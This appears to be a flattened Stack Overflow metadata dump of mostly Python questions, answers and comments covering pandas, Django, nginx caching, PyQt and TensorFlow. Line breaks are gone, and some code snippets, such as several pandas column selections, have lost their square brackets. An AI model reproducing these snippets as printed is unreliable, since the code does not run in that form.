has body: So in Pandas I have the following dataframe A B C D 0 X 1 Y 0 Y 1 Y 0 X 1 X I want to move the value in A to either C or D depending on B. The output should be something like this; A B C D 0 X 0 1 Y 1 0 Y 0 1 Y 1 0 X 0 1 X 1 I've tried using multiple where statements like df['C'] = np.where(str(df.B).find('X'), df.A, '') df['D'] = np.where(str(df.B).find('Y'), df.A, '') But that results in; A B C D 0 X 0 0 1 Y 1 1 0 Y 0 0 1 Y 1 1 0 X 0 0 1 X 1 1 So I guess it's checking if the value exists in the column at all, which makes sense. Do I need to iterate row by row?
type: Question
has title: Move data from one column to one of two others based on a fourth column in pandas

http://stackoverflow.com/q/46997543
tagged with: loops
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80941884
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80941919
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
has comment: http://stackoverflow.com/comment/80942064
has title: How to compare two CSV files cell by cell and calculate the percentage of similarities?
score: 2
answer count: 0
has body: I'm kind of confused by now. I have 2 files: File A: 10050 Jane 10669 Doe 12931 dumb File B: Do dumb Jan What I want to do is match the names on the first file with names on the second file based on the percentage of similarities of each component. create a new column, I'm thinking about using loop, 1 to 2 1 to 3 and 1 to 4, so on and so forth, and cell on the second file with the highest percentage will be on the same line with the first component How do I do that? I have 2 files with thousands of names that need to be compared.
upvote count: 2
tagged with: compare
downvote count: 0
has comment: http://stackoverflow.com/comment/81066008

http://stackoverflow.com/comment/81043183
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47047549
has text: @Ashish Ranjan Yes thank you very much!

http://stackoverflow.com/comment/80975379
comment on: http://stackoverflow.com/a/47013343
type: Comment
has text: Could you explain the reflection part a bit more? Would it would if the origin is in the forbidden region? Also, is sampling from the squares of the radii what is causing the distribution to be uniform rather than polar? If so, this observation may "fix" some of the other answers that have a polar distribution.
score: 0
type: AnswerComment

http://stackoverflow.com/a/47086942
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/47060623
score: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47060623
upvote count: 1
has body: lookup_field not lookup_fields. Once this is set the lookup_field_kwarg will default to using the same one. In your model: institution = ForeignKey(Institution) needs to have the null=True parameter if you want to be able to create a Memorandum without an associated Institution. I believe the ModelSerializer will pick up on that change and set allow_null=True on the PrimaryKeyRelatedField it creates for you. http://www.django-rest-framework.org/api-guide/fields/#core-arguments

http://stackoverflow.com/a/71312434
downvote count: 0
has body: Make it faster using pandarallel import spacy from pandarallel import pandarallel pandarallel.initialize(progress_bar=True) nlp = spacy.load("en_core_web_sm") df['new_col'] = df['text'].parallel_apply(lambda x: nlp(x))
score: 2
type: Answer
answers question: http://stackoverflow.com/q/46981137
upvote count: 2

http://stackoverflow.com/a/62597100
answers question: http://stackoverflow.com/q/46907584
type: Answer
downvote count: 0
has body: Make sure the context you build your image with is set correctly. You can set the context when building as an argument. Example: docker build -f ./Dockerfile .. where '..' is the context in this example.
score: 9
upvote count: 9
has comment: http://stackoverflow.com/comment/135264063
has comment: http://stackoverflow.com/comment/121471666

http://stackoverflow.com/comment/80948969
has text: Please check https://stackoverflow.com/questions/46988650/map-on-2-columns-pandas, when I merge I find out after that some indexes went NAN
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47001243

http://stackoverflow.com/q/47055506
has comment: http://stackoverflow.com/comment/81059378
has comment: http://stackoverflow.com/comment/81059103
upvote count: 3
accepted answer: http://stackoverflow.com/a/47055745
downvote count: 0
has body: Ok, so I am working on a model which simulates forest growth. The growth is defined by a complicated function, which is based on the age of the forest in years. The forest is periodically cut down every r years, and restarts growth at year 1 (felling is assumed to be instantaneous). The model begins in year r (a standing forest) if r = 50 and the limit of the modelled timescales (limit) =500 the following code will return a list of values from 1 to r which cycles until it exceeds the limit, it is then truncated to remove any values beyond limit r = 50 limit = 500 x = list(range(1,r+1)) #produces a list from 1-r x = x*(int(limit/r)+1) #multiples the list to be bigger than limit (to capture values of r which don't divide into it evenly (no floats allowed) x2 = [r] #adds the first value of the list (r) x2 = x2+x #adds the multiplied list to X2 x2 = x2[0:limit] #truncates the list to (limit) This code works, but it seems like an unnecessarily cumbersome way of going about things. Can anybody suggest a more elegant solution?
has answer: http://stackoverflow.com/a/47055745
favorite count: 0
type: Question
score: 3
has comment: http://stackoverflow.com/comment/81058481
has comment: http://stackoverflow.com/comment/81058252
has title: Streamlining list generation for a repeating set of integers
has comment: http://stackoverflow.com/comment/81059344
tagged with: python
has comment: http://stackoverflow.com/comment/81059201
has comment: http://stackoverflow.com/comment/81058187
tagged with: optimization
possible better answer: http://stackoverflow.com/a/47056065
type: AnsweredQuestion
tagged with: python-3.x
tagged with: list
answer count: 2
has answer: http://stackoverflow.com/a/47056065

http://stackoverflow.com/comment/80807698
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/46917047
has text: @olhur: yeah, I think that's a bug in robot. However, you didn't ask about accessing variables during `close`, your code asked about `endf_suite`.

http://stackoverflow.com/a/47127182
type: Answer
has body: Try changing the last line of your script to taylorCoefficient( lambda x: x**2*sp.sin(x/2), 0, 3).
score: 0
answers question: http://stackoverflow.com/q/47023576

http://stackoverflow.com/a/46944761
has body: Assuming what you want is understood to me (which is not a given), first of all, you don't need the range function to loop through lists; just use the in keyword. Secondly, you are returning at the end of the first loop. Deindent your "return ...." statement and it should be OK. Oh also, return print(...) makes no sense. You either print or you return.
answers question: http://stackoverflow.com/q/46944632
has comment: http://stackoverflow.com/comment/80836876
score: 0
has comment: http://stackoverflow.com/comment/80836931
has comment: http://stackoverflow.com/comment/80836976
type: Answer

http://stackoverflow.com/comment/80942959
has text: i am new to python. Can you post script here for what you are saying? I am getting error.
comment on: http://stackoverflow.com/q/46997984
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/81064413
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47058387
has text: Well it seems from the code you posted that relative urls are in a different file (inside an app) than main urls. If that's the case, you should inlude in your main url file `(projectname/urls.py)` and add the `app_name='your_app_name'` to call it, as you have called the `include('exist.url'...`
score: 0

http://stackoverflow.com/a/46920707
has body: Here is one way to do this. It replaces all duplicate words with a dot. lines_test = (["Engineering will save the world from inefficiency.", "Inefficiency is a blight on the world and its humanity."]) def solve(lines): clean_paragraph = "" str_lines = " ".join(lines) words_lines = str_lines.replace('.', ' .').split() for word in words_lines: if word != "." and word.lower() in clean_paragraph.lower(): word = " ." elif word != ".": word = " " + word clean_paragraph += word return clean_paragraph print(solve(lines_test)) Output: Engineering will save the world from inefficiency. . is . blight on . . and its humanity. It is important to convert words or strings into the lower case or upper case (consistent form) before you make comparisons.
score: 0
answers question: http://stackoverflow.com/q/46920126
type: Answer

http://stackoverflow.com/a/46922111
has body: edit: I might have misread the question here, hopefully this at least sparks some ideas for the solution. I think it is useful to have the index as the datetime column when working with time series data in Pandas. Here is some sample data: Out[3]: price date 2015-01-14 00:00:00 155.427361 2015-01-14 01:00:00 205.285202 2015-01-14 02:00:00 205.305021 2015-01-14 03:00:00 195.000000 2015-01-14 04:00:00 213.102000 2015-01-14 05:00:00 214.500000 2015-01-14 06:00:00 222.544375 2015-01-14 07:00:00 227.090251 2015-01-14 08:00:00 227.700000 2015-01-14 09:00:00 243.456190 We use Series.rolling to create an MA column, i.e. we apply the method to the price column, with a two-period window, and call mean on the resulting rolling object: In [4]: df['MA'] = df.price.rolling(window=2).mean() In [5]: df Out[5]: price MA date 2015-01-14 00:00:00 155.427361 NaN 2015-01-14 01:00:00 205.285202 180.356281 2015-01-14 02:00:00 205.305021 205.295111 2015-01-14 03:00:00 195.000000 200.152510 2015-01-14 04:00:00 213.102000 204.051000 2015-01-14 05:00:00 214.500000 213.801000 2015-01-14 06:00:00 222.544375 218.522187 2015-01-14 07:00:00 227.090251 224.817313 2015-01-14 08:00:00 227.700000 227.395125 2015-01-14 09:00:00 243.456190 235.578095 And if you want month and hour columns, can extract those from the index: In [7]: df['month'] = df.index.month In [8]: df['hour'] = df.index.hour In [9]: df Out[9]: price MA month hour date 2015-01-14 00:00:00 155.427361 NaN 1 0 2015-01-14 01:00:00 205.285202 180.356281 1 1 2015-01-14 02:00:00 205.305021 205.295111 1 2 2015-01-14 03:00:00 195.000000 200.152510 1 3 2015-01-14 04:00:00 213.102000 204.051000 1 4 2015-01-14 05:00:00 214.500000 213.801000 1 5 2015-01-14 06:00:00 222.544375 218.522187 1 6 2015-01-14 07:00:00 227.090251 224.817313 1 7 2015-01-14 08:00:00 227.700000 227.395125 1 8 2015-01-14 09:00:00 243.456190 235.578095 1 9 Then we can use groupby: In [11]: df.groupby([ ...: df['month'], ...: df['hour'] ...: ]).mean()'MA' Out[11]: MA month ho…
downvote count: 0
has comment: http://stackoverflow.com/comment/80791531
has comment: http://stackoverflow.com/comment/80834494
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/46921311
type: Answer

http://stackoverflow.com/comment/83227042
type: AnswerComment
has text: Well noted. I will update my answer for anyone else that comes across this.
comment on: http://stackoverflow.com/a/46924413
type: Comment
score: 2

http://stackoverflow.com/q/46919630
tagged with: django
has title: How To Implement A SAAS App In Django Without Using Subdomains
tagged with: python
has body: This article makes a good argument for avoiding subdomains in a SAAS app. All of the SAAS solutions I've found for Django so far all use subdomains. Is there a reliable way to implement a multi-tenant app in Django that doesn't use subdomains?
score: 0
tagged with: saas
answer count: 1
type: Question
type: UnansweredQuestion
tagged with: multi-tenant
has answer: http://stackoverflow.com/a/46920183

http://stackoverflow.com/q/46975731
linked to: http://stackoverflow.com/q/20099669
has comment: http://stackoverflow.com/comment/80898952
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/46976262
upvote count: 6
has comment: http://stackoverflow.com/comment/80898982
tagged with: sorting
score: 3
tagged with: list
answer count: 3
has title: How to sort alphanumeric list in python
downvote count: 3
has body: I have a list as a = [["1", "ok", "na"], ["15", "asd", "asdasd"], ["100", "uhu", "plo"], ["10", "iju", "tlo"], ["ISC_1", "des", "det"], ["12", "asd", "assrg"], ["ARF", "asd", "rf"]] I want this list to be sorted as below: [['1', 'ok', 'na'], ['10', 'iju', 'tlo'], ['12', 'asd', 'assrg'], ['15', 'asd', 'asdasd'], ['100', 'uhu', 'plo'], ['ARF', 'asd', 'rf'], ['ISC_1', 'des', 'det']] I have used a.sort() It is resulting as below: [['1', 'ok', 'na'], ['10', 'iju', 'tlo'], ['100', 'uhu', 'plo'], ['12', 'asd', 'assrg'], ['15', 'asd', 'asdasd'], ['ARF', 'asd', 'rf'], ['ISC_1', 'des', 'det']] Please help me how to sort in this case.
tagged with: python
has answer: http://stackoverflow.com/a/46975774
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46979336

http://stackoverflow.com/a/47000907
has comment: http://stackoverflow.com/comment/80948517
has body: Use split + pop for extract column name: df'sur','nam1','nam2' = df.pop('name').str.split(r',\s+|\s+', expand=True) print (df) sur nam1 nam2 0 Abakanowicz Magdalena None 1 Abbey Edwin Austin 2 Abbott Berenice None 3 Abbott Lemuel Francis 4 Abrahams Ivor None 5 Absalon None None 6 Abts Tomma None 7 Acconci Vito None 8 Ackling Roger None Or: df'sur','nam' = df.pop('name').str.split(', ', expand=True) df'nam1','nam2' = df.pop('nam').str.split(expand=True) print (df) sur nam1 nam2 0 Abakanowicz Magdalena None 1 Abbey Edwin Austin 2 Abbott Berenice None 3 Abbott Lemuel Francis 4 Abrahams Ivor None 5 Absalon None None 6 Abts Tomma None 7 Acconci Vito None 8 Ackling Roger None
has comment: http://stackoverflow.com/comment/80948501
score: 0
type: Answer
answers question: http://stackoverflow.com/q/47000837

http://stackoverflow.com/q/47041290
has answer: http://stackoverflow.com/a/47041482
tagged with: python
accepted answer: http://stackoverflow.com/a/47041427
has comment: http://stackoverflow.com/comment/81029612
type: AnsweredQuestion
tagged with: python-2.7
has answer: http://stackoverflow.com/a/47041427
answer count: 3
has title: for x in y loop capture instance value
has body: If I have a string like the following: output = ''' Certificate 1: Valid from: Mon Jun 12 14:58:50 EDT 2017 Valid until: Wed Jun 12 15:28:50 EDT 2019 Certificate 2: Valid from: Mon Jun 12 15:00:43 EDT 2017 Valid until: Wed Jun 12 15:30:43 EDT 2019 ''' I want to differentiate between the two values when I convert to unixtime. How do I tell it when it's Certificate 1 or Certificate 2? This is what I have so far, works for getting the two dates, but I don't know how to say if it's the first result then it's Certificate 1. for line in output.splitlines(): if 'Valid until' in line: environment = '???' valid_until_time = (line.split(':', 1)[1]).strip()[4:] valid_until_time = valid_until_time.replace(' EDT', '') unixtime = time.mktime(datetime.strptime(valid_until_time, '%b %d %H:%M:%S %Y').timetuple()) send_to_zabbixsender(zabbix_executable, zabbix_config, item_key='{0}.expirydate'.format(environment), item_value=unixtime)
score: 1
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81029653
has answer: http://stackoverflow.com/a/47041455
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/47041482

http://stackoverflow.com/q/47024950
tagged with: c++
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47030580
tagged with: pyqt
score: 1
tagged with: sqlite
has title: Qt: Moving entries between two QListViews from one QSqlTableModel
answer count: 1
upvote count: 1
favorite count: 0
type: Question
downvote count: 0
tagged with: python
has body: My Sqlite database looks like this (simplified): CREATE TABLE Scene( sceneID INTEGER PRIMARY KEY, title TEXT NOT NULL ); CREATE TABLE Character( characterID INTEGER PRIMARY KEY, fullName TEXT NOT NULL ); CREATE TABLE CharacterInScene( characterID INTEGER, sceneID INTEGER, PRIMARY KEY(characterID, sceneID), FOREIGN KEY(characterID) REFERENCES Character(characterID), FOREIGN KEY(sceneID) REFERENCES Scene(sceneID) ); INSERT INTO Scene (1, "Police Station"); INSERT INTO Character (1, "Harrison Ford"); INSERT INTO Character (2, "Rutger Hauer"); INSERT INTO CharacterInScene(1, 1); So, I have a single scene, "Police Station" which contains Harrison Ford, but not Rutger Hauer. In my UI, I'm editing the contents of that one scene. And have an interface like this: Right now, these are two QListViews connected to two QSqlQueryModels with the following queries: 1. SELECT * FROM Character WHERE characterID NOT IN (SELECT characterID FROM CharacterInScene WHERE sceneID=1) 2. SELECT * FROM Character WHERE characterID IN (SELECT characterID FROM CharacterInScene WHERE sceneID=1) I want the arrow buttons to move a selected entry from one list to the other, and the apply button to execute the change in the db. But because of the read-only nature of QSqlQueryModel, this isn't really tenable as I have it set now. What would be the best way to accomplish this? I assume I'll want to implement my own QSqlTableModel, but I'm not sure how, and I haven't been able to find any good examples similar to my situation. Maybe I'm overthinking it. I'm working in PyQt5, but I can translate from C++.
accepted answer: http://stackoverflow.com/a/47030580
tagged with: qt

http://stackoverflow.com/comment/80804334
type: QuestionComment
type: Comment
has text: are you sure all the columns are numeric in the dataframe?
comment on: http://stackoverflow.com/q/46928772
score: 0

http://stackoverflow.com/q/46965325
has comment: http://stackoverflow.com/comment/80878364
has title: proper way to compare 2-precision floating point with a 4-precision Decimal
answer count: 1
has comment: http://stackoverflow.com/comment/80878736
downvote count: 1
has comment: http://stackoverflow.com/comment/80878713
has comment: http://stackoverflow.com/comment/80878356
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80878739
has answer: http://stackoverflow.com/a/46965548
type: UnansweredQuestion
has body: I'm running into an interesting problem related to comparing a float against a Decimal: &gt;&gt;&gt; Decimal('1000.1000') == Decimal('1000.10') True BUT &gt;&gt;&gt; Decimal('1000.1000') == Decimal(1000.10) False The 2-precision float is coming to me from a 3rd party, so I can't set its precision manually. Is the solution here to convert from float -> str -> Decimal like so? Decimal('1000.1000') == Decimal(str(1000.10)) This is janky. Is there a canonical way to do this kind of comparison?
tagged with: python
has comment: http://stackoverflow.com/comment/80878507
upvote count: 2
score: 1
has comment: http://stackoverflow.com/comment/80878833

http://stackoverflow.com/a/47055451
upvote count: 1
score: 1
type: Answer
has body: Click here to see snap shot import pandas as pd df = pd.DataFrame(data) df2=df.groupby('name').sum() df2.to_dict('r')
answers question: http://stackoverflow.com/q/47055259
has comment: http://stackoverflow.com/comment/81057966
has comment: http://stackoverflow.com/comment/81058139
downvote count: 0

http://stackoverflow.com/q/46966466
type: Question
accepted answer: http://stackoverflow.com/a/46966640
tagged with: nginx
has answer: http://stackoverflow.com/a/46966640
tagged with: django
tagged with: python
has title: Can't get nginx to cache uwsgi result
tagged with: caching
type: AnsweredQuestion
has body: I'm trying to cache a view in my uwsgi django app using nginx uwsgi caching. It mostly seems like nothing is getting written to the cache. The /data/nginx/cache/temp cache folder get's created but nothing gets written to it. I also applied the from django.views.decorators.cache import cache_page cache_page django decorator to the my_cached_page view so the result get's properly cached by django it self and the browser. But I want nginx to cache and return the result for everyone. I used uwsgi_ignore_headers to ignore the Set-Cookie header from the uwsgi app but doesn't seem to have any affect. I'm trying to better understand in which case a result get's cached ( or more importantly, not cached ). I think perhaps the django app is not returning the right headers for nginx to cache the result. Nginx version 1.11.2 http { include mime.types; log_format main '[$time_local] "$request" $status - $body_bytes_sent - $upstream_cache_status'; charset utf-8; client_max_body_size 300M; access_log /var/log/nginx/access.log main; uwsgi_cache_path /data/nginx/cache levels=1:2 keys_zone=my_cache:10m max_size=10g inactive=60m use_temp_path=off; sendfile on; sendfile_max_chunk 512k; tcp_nopush on; tcp_nodelay on; gzip on; gzip_min_length 1000; gzip_comp_level 6; gzip_types text/plain text/css application/json application/javascript application/x-javascript text/javascript text/xml application/xml application/rss+xml application/atom+xml application/rdf+xml; gzip_buffers 16 8k; uwsgi_buffering on; uwsgi_buffers 8 16k; keepalive_timeout 65; uwsgi_cache_path /data/nginx/cache levels=1:2 keys_zone=my_cache:10m max_size=10ginactive=60m use_temp_path=off; server { listen 80 default_server; root /opt/my-app/app-web/; location /my_cached_page { add_header X-Cache-Status $upstream_cache_status; uwsgi_cache my_cache; uwsgi_cache_bypass 0; uwsgi_cache_use_stale error timeout updating http_500; uwsgi_cache_valid 200 120s; uwsgi_cache_key $scheme$host$request_uri; uwsgi_ignore_headers Set-Cookie;…
score: 3
upvote count: 3
answer count: 1
downvote count: 0
favorite count: 0

http://stackoverflow.com/comment/81044642
comment on: http://stackoverflow.com/q/47048098
has text: @TarunLalwani Can you show me how to do that? I've tried to implement something similar but when I do it tends to not like it and just navigate to webpage and not write to csv.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46999831
downvote count: 0
has answer: http://stackoverflow.com/a/52174996
upvote count: 1
tagged with: python
type: UnansweredQuestion
tagged with: pyqtgraph
answer count: 1
favorite count: 0
type: Question
score: 1
has body: I'm trying to plot candlesticks with TextItems that show every price level for each candle. I referred to 'custom graphics' example and just added a method to CandlestickItem as follows. class CandlestickItem(pg.GraphicsObject): def __init__(self, data, plt): pg.GraphicsObject.__init__(self) self.data = data self.generatePicture() self.plt = plt self.add_text() def generatePicture(self): self.picture = QtGui.QPicture() p = QtGui.QPainter(self.picture) p.setPen(pg.mkPen('w')) w = (self.data[1][0] - self.data[0][0]) / 3. for (t, open, close, min, max) in self.data: p.drawLine(QtCore.QPointF(t, min), QtCore.QPointF(t, max)) if open &gt; close: p.setBrush(pg.mkBrush('r')) else: p.setBrush(pg.mkBrush('g')) p.drawRect(QtCore.QRectF(t-w, open, w*2, close-open)) p.end() def paint(self, p, *args): p.drawPicture(0, 0, self.picture) def boundingRect(self): return QtCore.QRectF(self.picture.boundingRect()) def add_text(self): prices = self.data for price in prices: index = price[0] high = max(price[1:]) low = min(price[1:]) price_range = np.arange(low, high+1, 1) for price_level in price_range: text = 'text_' + str(price_level) text = pg.TextItem(str(price_level), anchor=(-0.1, 0.5)) plt.addItem(text) text.setPos(index, price_level) I have two questions: 1) How can I make it show the TextItems over the candlesticks? 2) Are there better ways to show TextItems other than the way I chose? I wonder if this way would harm the performance if there are many candles and the step size is smaller, for example: 0.01.
has title: How can I draw TextItems over candlesticks in pyqtgraph?

http://stackoverflow.com/comment/80788011
type: QuestionComment
type: Comment
has text: @CharlesDuffy thanks, that pretty much cleared every doubt!
score: 0
comment on: http://stackoverflow.com/q/46918301

http://stackoverflow.com/q/47016787
tagged with: django
tagged with: python
has answer: http://stackoverflow.com/a/47028873
accepted answer: http://stackoverflow.com/a/47028873
tagged with: postgis
score: 2
type: AnsweredQuestion
tagged with: geodjango
has title: Django-tenant-schemas and GeoDjango together
favorite count: 0
type: Question
upvote count: 2
has body: I want to use django-tenant-schemas and GeoDjango (PostGIS) in my Django project. I have a single default database. But both django-tenant-schemas and GeoDjango want me to set a custom Engine for the Database in the settings. django-tenant-schemas want it to be set to tenant_schemas.postgresql_backend while GeoDjango wants it to be set to django.contrib.gis.db.backends.postgis. Is there any workaround to this issue? Edit: I want to use GeoDjango for a single model only and I am using a single Postgres database.
downvote count: 0
answer count: 1

http://stackoverflow.com/a/46942831
score: 4
has comment: http://stackoverflow.com/comment/80843754
type: Answer
accepted answer of: http://stackoverflow.com/q/46942584
upvote count: 4
answers question: http://stackoverflow.com/q/46942584
type: AcceptedAnswer
has body: can you confirm what the values of CELERY_BROKER_PROD and CELERY_RESULTS_BACKEND are? It seems that you have defined this as myredisserverip.com, however according to the celery docs, redis server should be defined as: CELERY_RESULT_BACKEND = 'redis://:password@host:port/db' as per the documentation here: http://docs.celeryproject.org/en/3.1/configuration.html#redis-backend-settings For the broker_url you need to define the transport, documentation on this can be found here: http://docs.celeryproject.org/en/3.1/configuration.html#broker-url Is the issue that you are missing the transport, ie the redis:// prefix in your environment variables?
downvote count: 0

http://stackoverflow.com/comment/80920170
score: 2
type: QuestionComment
has text: `:` is a synonym for `slice`, not `range`. There is no reason your third and fourth lines should be the same.
type: Comment
comment on: http://stackoverflow.com/q/46986585

http://stackoverflow.com/q/46982828
linked to: http://stackoverflow.com/q/1444543
has body: I recently installed pipenv using the following command: pip3 install --user pipenv. (It's also worth mentioning that I'm following Python's official guide here.) Most online resources seem to indicate that the default installation directory for user-scoped packages is at ~/.local/bin. However, it would seem that my installation of pipenv resides in ~/Library/Python/3.6/bin. I'm concerned that keeping the installation in a version specific directory (i.e. Python 3.6) could lead to problems down the road. What happened? Should I be worried?
tagged with: macos
has comment: http://stackoverflow.com/comment/80913156
has comment: http://stackoverflow.com/comment/80913207
type: Question
has answer: http://stackoverflow.com/a/46982939
tagged with: pip
tagged with: python
answer count: 1
has comment: http://stackoverflow.com/comment/80913177
has title: Pip3 didn't install a user-scoped package to ~/.local/bin
accepted answer: http://stackoverflow.com/a/46982939
type: AnsweredQuestion
score: 0

http://stackoverflow.com/a/47056276
has body: I recommend using requests package instead of urllib. You can refer to the code below: from bs4 import BeautifulSoup import requests url = "http://douban.com" r = requests.get(url) data = r.text soup = BeautifulSoup(data) for link in soup.find_all('a'): print link.get("href")
type: Answer
score: 0
answers question: http://stackoverflow.com/q/47056068

http://stackoverflow.com/q/46940302
has body: I am having difficulty applying tf.scatter_nd_add() to 2D tensors. The documentation is a bit unclear and has does not contain an example for sparse update but only for full slice updates. My case is the following: updates - 2D tensor of shape [None, 6] indices - 2D tensor of shape [None, 6] ref - 2D Variable of zeros of shape [None, 6] It is guaranteed that updates, indices and ref will always have their first dimension equal, but the size of that dimension can be varying. The update I want to perform looks like for i, j: k = indices[i][j] ref[i][k] += updates[i][j] Note that indices contains duplicates. tf.scatter_nd_add(ref, indices, updates) complains about shape mismatch and I cannot figure out how I need to restructure the tensors in order to performs the update.
has answer: http://stackoverflow.com/a/46941157
score: 2
downvote count: 0
has title: scatter_nd_add() example for sparse addition in TensroFlow
answer count: 1
tagged with: tensorflow
favorite count: 0
type: Question
upvote count: 2
tagged with: python
type: UnansweredQuestion
tagged with: sparse-matrix

http://stackoverflow.com/comment/80811342
has text: Can you share your file with a link if you can?
comment on: http://stackoverflow.com/q/46931536
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/46982325
tagged with: python
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/46983893
has body: I'm trying to clean up HTML so that all I have is the relevant text I want. The following code cleans up the superscript tags with the first defined function, I wan't to do the same thing but with the 'h4', 'h1', 'a', and 'li' tags before I use .get_text. import requests from bs4 import BeautifulSoup url = "https://www.biblegateway.com/passage/?search=Luke+14%3A12-14&version=NIV" page = requests.get(url) soup = BeautifulSoup(page.content, "html.parser") def supClean(verseWithSup): for sup in verseWithSup: verseWithSup.sup.decompose() return verseWithSup def verseExtract(soup): verseName = soup.find(class_="passage-display-bcv").get_text() verseWithSup = soup.find(class_="passage-text") verseBody = supClean(verseWithSup).get_text() return verseName, verseBody verseName, verseBody = (verseExtract(soup)) print(verseName) print(verseBody) I get this right now: Luke 14:12-14New International Version (NIV) Then Jesus said to his host, “When you give a luncheon or dinner, do not invite your friends, your brothers or sisters, your relatives, or your rich neighbors; if you do, they may invite you back and so you will be repaid. But when you give a banquet, invite the poor, the crippled, the lame, the blind, 14 and you will be blessed. Although they cannot repay you, you will be repaid at the resurrection of the righteous.” Cross references:Luke 14:13 : ver 21 Luke 14:14 : Ac 24:15 New International Version (NIV) Holy Bible, New International Version®, NIV® Copyright ©1973, 1978, 1984, 2011 by Biblica, Inc.® Used by permission. All rights reserved worldwide. But all I wan't is this: Then Jesus said to his host, “When you give a luncheon or dinner, do not invite your friends, your brothers or sisters, your relatives, or your rich neighbors; if you do, they may invite you back and so you will be repaid. But when you give a banquet, invite the poor, the crippled, the lame, the blind, 14 and you will be blessed. Although they cannot repay you, you will be repaid at the resurrecti…
answer count: 2
has answer: http://stackoverflow.com/a/46983893
score: 0
has comment: http://stackoverflow.com/comment/80912455
tagged with: web-scraping
has title: using beautifulsoup decompose() to get rid of multiple unwanted tags
possible better answer: http://stackoverflow.com/a/47023036
has comment: http://stackoverflow.com/comment/80912310
type: Question
tagged with: beautifulsoup
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47023036

http://stackoverflow.com/q/46998500
has comment: http://stackoverflow.com/comment/80943855
tagged with: django
tagged with: python
has answer: http://stackoverflow.com/a/47004338
has comment: http://stackoverflow.com/comment/80943883
has body: I have written a function that accept as input a string and do some validation tasks on it and also changes the value. def validate(str): # do validation. If any error, raise Validation error # modify value of str return str I want to use this function as a validator for some django model field. I know how to do it. My problem is that in addition to validation I want the modified value, i.e. return value of function, to be saved in field.
score: 0
has comment: http://stackoverflow.com/comment/80943873
has title: validate and save in django field
tagged with: validation
has comment: http://stackoverflow.com/comment/80943961
answer count: 1
type: Question
has comment: http://stackoverflow.com/comment/80943835
type: UnansweredQuestion

http://stackoverflow.com/comment/80875143
type: QuestionComment
comment on: http://stackoverflow.com/q/46956286
has text: Another suggestion: Try `nc x.x.x.x 9007` (replacing x's with your server's IP address). This should manually connect to your server (and you should see that in log messages). Then quit `nc` (with Ctrl-D -- or just kill it with Ctrl-C). This should close the connection and your code should enter the `else` clause paired with `if len_indicator:`. You should then see the file descriptor getting removed from `inputs` and the "Attempting to close socket..." log message.
score: 0
type: Comment

http://stackoverflow.com/a/46923642
answers question: http://stackoverflow.com/q/46923627
type: Answer
score: -1
upvote count: 0
has comment: http://stackoverflow.com/comment/80794982
has body: There is a comma at the end of the line. Remove it url(r'^contact/$',TemplateView.as_view(template_name='contact.html')),#ERROR
downvote count: 1

http://stackoverflow.com/a/73916924
score: 0
type: Answer
has body: You have the same exact problem like I had. Still don't know why filename.read() make Python consider my file empty. My solution is to close and open the file again
answers question: http://stackoverflow.com/q/47017640

http://stackoverflow.com/comment/80853716
comment on: http://stackoverflow.com/q/46953310
score: 0
has text: I think you needed `skiprows=17`, not `[17]`.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46985846
tagged with: python
duplicate of: http://stackoverflow.com/q/46978264
score: 0
has body: I have a data frame with keywords and a list of words which if exist in that data frame then should be deleted. Only the word should be deleted not the column or row from the data frame. Here is the Dataframe I have. I have a list of words as well as a pandas series of it. I want to drop only the words which are on that list from the keywords. enter image description here
tagged with: pandas
has answer: http://stackoverflow.com/a/46986199
answer count: 1
has comment: http://stackoverflow.com/comment/80918919
type: Question
has comment: http://stackoverflow.com/comment/80918883
tagged with: numpy
type: UnansweredQuestion
has title: Pandas Delete String from 1 dataframe if it exist in a list
linked to: http://stackoverflow.com/q/46978264

http://stackoverflow.com/comment/80933341
score: 0
type: Comment
comment on: http://stackoverflow.com/a/46993325
type: AnswerComment
has text: Do you think `df.assign(Word_Length=df['Word_Length'].astype(str)).plot.bar(x = 'Word_Length', y='Count')` ?

http://stackoverflow.com/comment/81058303
type: QuestionComment
comment on: http://stackoverflow.com/q/47055381
has text: @AndrewL, I have edited my question
score: 0
type: Comment

http://stackoverflow.com/a/47055899
type: Answer
answers question: http://stackoverflow.com/q/47045220
downvote count: 2
score: 6
upvote count: 8
has body: No fancy structures, just a plain ol' dictionary. d = {} for x, y in zip(a, b): d.setdefault(x, []).append(y)

wrapper
tags question: http://stackoverflow.com/q/47027299
tag name: wrapper
type: Tag

http://stackoverflow.com/a/46938270
downvote count: 0
has body: Updated After seeing a comment the OP made about the result desired from a row with: ['s1','s2','s3','s4','s5','s6'] being: ['s1s4','s2s5','s3s6'] The code below has been modified accordingly (and should work in both Python 2 and 3). Here's a general way to do it, but it effectively still uses nested loops since there's one in the pairwise() helper function: from itertools import islice data = [['s1','s2','s3','s4','s5','s6'], ['s7','s8','s9','s10'], ['s11','s12']] def pairwise(iterable): "s -&gt; [s0+s2, s1+s3), s3+s5, ...]" a = iter(iterable) b = islice(iterable, len(iterable)//2, None) return [''.join(pair) for pair in zip(a, b)] data2 = [pairwise(row) for row in data] print(data2) # -&gt; [['s1s4', 's2s5', 's3s6'], ['s7s9', 's8s10'], ['s11s12']]
has comment: http://stackoverflow.com/comment/80828333
answers question: http://stackoverflow.com/q/46937752
type: Answer
